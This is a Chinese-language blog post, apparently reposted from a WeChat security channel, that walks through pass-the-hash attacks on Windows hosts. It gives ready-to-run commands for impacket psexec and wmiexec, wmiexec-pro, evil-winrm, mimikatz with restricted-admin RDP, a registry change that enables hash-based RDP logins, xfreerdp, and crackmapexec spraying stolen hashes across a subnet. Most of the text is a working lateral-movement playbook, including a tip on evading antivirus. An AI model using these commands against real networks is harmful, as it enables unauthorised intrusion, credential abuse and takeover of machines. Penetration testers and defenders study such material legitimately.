前言：
参考一些文章，简单的总结一下PTH攻击的一些常用方法。
文中涉及的工具回复20230504获取
利用445端口：
为了更直观的展现，这里做个代理来进行演示：
对于开放445端口的主机，
利用impacket工具包psexec：
proxychains python3 psexec.py "./administrator"@192.168.235.134-hashes :8b2d95d5bc332c33b11cxxxx
这里会出现乱码，更换个编码形式就行了：
proxychains python3 psexec.py "./administrator"@192.168.235.134-hashes :8b2d95d5bc332c33b11cxxxx-codec gbk
这里注意两个东西，一个是连接目标主机的445端口，另一个是脚本使用过程中会上传一个exe文件，这个文件是有毒的，会被杀软杀。
所以我们一般使用wmiexec脚本来进行pth：
proxychains python3 wmiexec.py "./administrator"@192.168.235.134-hashes :8b2d95d5bc332c33b11cdxxxxx-codec gbk
这里会同时连接目标主机的445，135以及随机的一个高端口
利用135端口：
当目标主机的445端口受到限制时，也可以直接利用135端口来进行一个pth攻击
这里参考文章https://mp.weixin.qq.com/s/FzesFjuhcag8UsSV_RLA1A
写的不错，里面的工具也挺好。
直接利用该工具：
proxychains python3 wmiexec-pro.py "./administrator"@192.168.235.134-hashes :8b2d95d5bc332c33b11cd0e58505f481exec-command -command "ipconfig"-with-output
可以看到直接利用135端口和一个随机高端口也能执行命令并回显。
利用5985端口：
当135，445都受到限制时，也可以借助5985端口来进行pth攻击：
参考文章：https://forum.butian.net/share/2080
工具直接拿过来用：
proxychains ./evil-winrm.rb -i 192.168.235.134-u administrator -H 8b2d95d5bc332c33b11cxxxx
可以看到，不借助135，445也可以直接执行命令并回显。
PTHRDP：
实战中获取到管理员的hash时，如何直接利用该hash登录管理员的桌面。
PS：实战中可能会有人直接挂个代理，然后想利用这种方法登录管理员桌面，这种方法是不行的。
第一种方法是可以利用内网中的其他跳板机来利用这种方法登录管理员桌面
第二种方法是利用高权限在目标机器上创建一个账户，登录该账户后，利用该账户在目标机器上使用该方法登录管理员桌面。
方法：
修改注册表：
REG ADD "HKLMSystemCurrentControlSetControlLsa"/v DisableRestrictedAdmin/t REG_DWORD /d 00000000/f利用mimikatz：
sekurlsa::pth /user:administrator /domain:./ntlm:8b2d95d5bc332c33b11cd0e58xxxx"/run:mstsc.exe /restrictedadmin"
在弹出的mstsc输入登录的地址就可以直接登陆了
利用xfreerdp登录：
我们还可以利用kali自带的工具xfreerdp来实现hash值登录管理员桌面
修改注册表：
REG ADD "HKLMSystemCurrentControlSetControlLsa"/v DisableRestrictedAdmin/t REG_DWORD /d 00000000/fproxychains xfreerdp /v:192.168.18.128/d:./u:administrator /pth:8b2d95d5bc332c33b11cxxxxx/sound
批量pth攻击：
在获取不到明文或者明文比较少数的情况下，也可以直接利用hash进行一个批量的横向
利用kali自带工具：crackmapexec
该工具爆破速度比较快，非常准确。
可以看到支持如下协议：
假设我们在实战中获得了如下hahs值：
8b2d95d5bc332c33b11cd0xxxxxx
ae9060c5c6c00bd33e78exxxxxxx假如我们要对192.168.235.0/24这个段进行横向：
利用smb协议：(445端口没限制)
crackmapexec smb 192.168.235.0/24-u administrator -H hash.txt
利用winrm：
这个东西和上面的5985端口是同一个东西，不过crackmapexec集成了这个东西：
crackmapexec winrm 192.168.235.0/24-u administrator -H hash.txt
PS：
还可以对特定ip进行批量横向，比如在实战中我把开放445端口主机的ip提取出来：
crackmapexec smb ip.txt -u administrator -H hash.txt
crackmapexec winrm ip.txt -u administrator -H hash.txt还可以对ssh，mssql进行横向，非常好的一个工具。
原文始发于微信公众号（安全小子大杂烩）：PTH常用攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论